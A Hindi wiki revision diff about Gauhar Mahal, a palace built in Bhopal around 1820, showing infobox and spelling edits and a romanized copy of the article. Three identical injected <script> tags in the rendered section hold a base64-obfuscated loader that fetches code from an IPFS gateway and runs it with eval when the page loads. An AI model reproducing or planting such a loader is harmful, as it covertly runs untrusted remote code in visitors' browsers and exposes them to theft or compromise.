Difference between revisions of "गौहर महल भोपाल"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "खास" to "ख़ास")
 
(7 intermediate revisions by 5 users not shown)
Line 1: Line 1:
*गौहर महल [[मध्य प्रदेश]] के [[भोपाल]] शहर के बड़े तालाब के  किनारे व्ही.आई.पी. रोड पर स्थित है।
+
{{सूचना बक्सा पर्यटन
*[[शौकत महल भोपाल|शौकत महल]] के पास बड़ी झील के किनारे स्थित वास्तुकला का यह खूबसूरत नमूना [[कुदसिया बेगम]] के काल का है।  
+
|चित्र=Gohar-Mahal-Bhopal.jpg
 +
|चित्र का नाम=गौहर महल, [[भोपाल]]
 +
|विवरण='''गौहर महल''' [[मध्य प्रदेश]] के [[भोपाल]] शहर के [[बड़ा तालाब, भोपाल|बड़े तालाब]] के किनारे स्थित है।
 +
|राज्य=[[मध्य प्रदेश]]
 +
|केन्द्र शासित प्रदेश=
 +
|ज़िला= [[भोपाल]]
 +
|निर्माता=नवाब कुदसिया बेगम
 +
|स्वामित्व=
 +
|प्रबंधक=
 +
|निर्माण काल=1820 ई.
 +
|स्थापना=
 +
|भौगोलिक स्थिति=
 +
|मार्ग स्थिति=
 +
|मौसम=
 +
|तापमान=
 +
|प्रसिद्धि=
 +
|कब जाएँ=
 +
|कैसे पहुँचें=
 +
|हवाई अड्डा=
 +
|रेलवे स्टेशन=
 +
|बस अड्डा=
 +
|यातायात=
 +
|क्या देखें=
 +
|कहाँ ठहरें=
 +
|क्या खायें=
 +
|क्या ख़रीदें=
 +
|एस.टी.डी. कोड=
 +
|ए.टी.एम=
 +
|सावधानी=
 +
|मानचित्र लिंक=[https://www.google.co.in/maps/place/Gauhar+Mahal/@23.2553526,77.3974579,15z/data=!4m2!3m1!1s0x0:0x5ff21493a538387c?sa=X&ved=0ahUKEwj95rKxhbHVAhUFR48KHXEYDgYQ_BIIjAEwDg गूगल मानचित्र]
 +
|संबंधित लेख=[[वास्तुकला]], [[भोपाल]], [[मध्य प्रदेश]]
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=[[गौहर महल भोपाल|गौहर महल]] की आंतरिक हिस्से में बेगम का निवास था जिसकी खिड़कियों से [[बड़ा तालाब, भोपाल|बड़े तालाब]] का मनोरम दृश्य दिखाई देता है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=06:24, 30 जुलाई 2017 (IST)
 +
}}
 +
'''गौहर महल''' [[मध्य प्रदेश]] के [[भोपाल]] शहर के [[बड़ा तालाब, भोपाल|बड़े तालाब]] के  किनारे वी.आई.पी. रोड पर [[शौक़त महल भोपाल|शौक़त महल]] के पास बड़ी झील के किनारे स्थित है।
 +
*यह [[वास्तुकला]] का ख़ूबसूरत नमूना कुदसिया बेगम के काल का है।  
 
*इस तिमंजिले भवन का निर्माण भोपाल राज्य की तत्कालीन शासिका नवाब कुदसिया बेगम (सन् 1819-37) ने गौहर महल को 1820 ई. में कराया था।  
 
*इस तिमंजिले भवन का निर्माण भोपाल राज्य की तत्कालीन शासिका नवाब कुदसिया बेगम (सन् 1819-37) ने गौहर महल को 1820 ई. में कराया था।  
*गौहर महल 4.65 एकड़ क्षेत्र में फैले है।  
+
*गौहर महल 4.65 एकड़ क्षेत्र में फैला है।  
 
*कुदसिया बेगम का नाम गौहर भी था इसलिए इस महल को गौहर महल के नाम से जाना जाता है।  
 
*कुदसिया बेगम का नाम गौहर भी था इसलिए इस महल को गौहर महल के नाम से जाना जाता है।  
*गौहर महल भोपाल रियासत का पहला महल है।  
+
*यह महल भोपाल रियासत का पहला महल है।  
*गौहर महल की ख़ासिय यह है कि इसकी सजावट भारतीय और इस्लामिक वास्तुकला को मिलाकर की गई है।  
+
*इस महल की ख़ासियत यह है कि इसकी सजावट भारतीय और इस्लामिक वास्तुकला को मिलाकर की गई है।  
*गौहर महल हिन्‍दु और मुग़ल कला का अद्भुत संगम है।  
+
*यह महल हिन्‍दु और मुग़ल कला का अद्भुत संगम है।  
*गौहर महल में दीवान-ए आम और दीवान-ए-ख़ास हैं।  
+
*इस महल में दीवान-ए आम और दीवान-ए-ख़ास हैं।  
*गौहर महल के आंतरिक भाग में नयनाभिराम फब्बारे थे जो कालान्तर में नष्ट हो गये हैं। फब्बारों की हौज अब भी विद्यमान है।  
+
*गौहर महल के आंतरिक भाग में नयनाभिराम फ़व्वारे थे जो कालान्तर में नष्ट हो गये हैं। फ़व्वारों की हौज़ अब भी विद्यमान है।  
*हल के ऊपर का हिस्सा में एक ऐसा कमरा है जिससे पूरे शहर का नजारा दिखाता है और इसके दरवाजों पर कांच से नक्काशी की गई है।  
+
*महल के ऊपर के हिस्से में एक ऐसा कमरा है जिससे पूरे शहर का नज़ारा दिखता है और इसके दरवाज़ों पर कांच से नक़्क़ाशी की गई है।  
*गौहर महल की दीवारों पर लकड़ी के नक्काशीदार स्तंभ, वितान और मेहराबें हैं। स्तंभों पर आकृतियां और फूल पत्तियों का अंकन है।  
+
*गौहर महल की दीवारों पर लकड़ी के नक़्क़ाशीदार स्तंभ, वितान और मेहराबें हैं। स्तंभों पर आकृतियां और फूल-पत्तियों का अंकन है।  
*आंतरिक हिस्स में बेगम का निवास था जिसकी खिड़कियों से बड़े तालाब का मनोरम दृश्य दिखाई देता है।  
+
*आंतरिक हिस्से में बेगम का निवास था जिसकी खिड़कियों से [[बड़ा तालाब, भोपाल|बड़े तालाब]] का मनोरम दृश्य दिखाई देता है।  
*भवन की दूसरी मंजिल पर एक प्रसूतिगृह था, जिसकी दीवारों पर रंगीन चित्र बने थे।  
+
*भवन की दूसरी मंज़िल पर एक प्रसूतिगृह था, जिसकी दीवारों पर रंगीन चित्र बने थे।  
 +
 
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{मध्य प्रदेश के पर्यटन स्थल}}
 
{{मध्य प्रदेश के पर्यटन स्थल}}
[[Category:मध्य_प्रदेश]]
+
[[Category:मध्य_प्रदेश]][[Category:मध्य_प्रदेश_के_पर्यटन_स्थल]][[Category:पर्यटन_कोश]][[Category:भोपाल]]
[[Category:मध्य_प्रदेश_के_पर्यटन_स्थल]]
 
[[Category:पर्यटन_कोश]]
 
[[Category:भोपाल]]
 
 
__INDEX__
 
__INDEX__

Latest revision as of 12:56, 30 July 2017

gauhar mahal bhopal
[[chitr:Gohar-Mahal-Bhopal.jpg|gauhar mahal, bhopal|200px|center]]
vivaran gauhar mahal madhy pradesh ke bhopal shahar ke b de talab ke kinare sthit hai.
rajy madhy pradesh
zila bhopal
nirmata navab kudasiya begam
nirman kal 1820 ee.
chitr:Map-icon.gif googal manachitr
sanbandhit lekh vastukala, bhopal, madhy pradesh


any janakari gauhar mahal ki aantarik hisse mean begam ka nivas tha jisaki khi dakiyoan se b de talab ka manoram drishy dikhaee deta hai.
adyatan‎ 06:24, 30 julaee 2017 (IST)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gauhar mahal madhy pradesh ke bhopal shahar ke b de talab ke kinare vi.aee.pi. rod par shauqat mahal ke pas b di jhil ke kinare sthit hai.

  • yah vastukala ka khoobasoorat namoona kudasiya begam ke kal ka hai.
  • is timanjile bhavan ka nirman bhopal rajy ki tatkalin shasika navab kudasiya begam (sanh 1819-37) ne gauhar mahal ko 1820 ee. mean karaya tha.
  • gauhar mahal 4.65 ek d kshetr mean phaila hai.
  • kudasiya begam ka nam gauhar bhi tha isalie is mahal ko gauhar mahal ke nam se jana jata hai.
  • yah mahal bhopal riyasat ka pahala mahal hai.
  • is mahal ki khasiyat yah hai ki isaki sajavat bharatiy aur islamik vastukala ko milakar ki gee hai.
  • yah mahal hinh‍du aur mugal kala ka adbhut sangam hai.
  • is mahal mean divan-e am aur divan-e-khas haian.
  • gauhar mahal ke aantarik bhag mean nayanabhiram favvare the jo kalantar mean nasht ho gaye haian. favvaroan ki hauz ab bhi vidyaman hai.
  • mahal ke oopar ke hisse mean ek aisa kamara hai jisase poore shahar ka nazara dikhata hai aur isake daravazoan par kaanch se naqqashi ki gee hai.
  • gauhar mahal ki divaroan par lak di ke naqqashidar stanbh, vitan aur meharabean haian. stanbhoan par akritiyaan aur phool-pattiyoan ka aankan hai.
  • aantarik hisse mean begam ka nivas tha jisaki khi dakiyoan se b de talab ka manoram drishy dikhaee deta hai.
  • bhavan ki doosari manzil par ek prasootigrih tha, jisaki divaroan par rangin chitr bane the.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>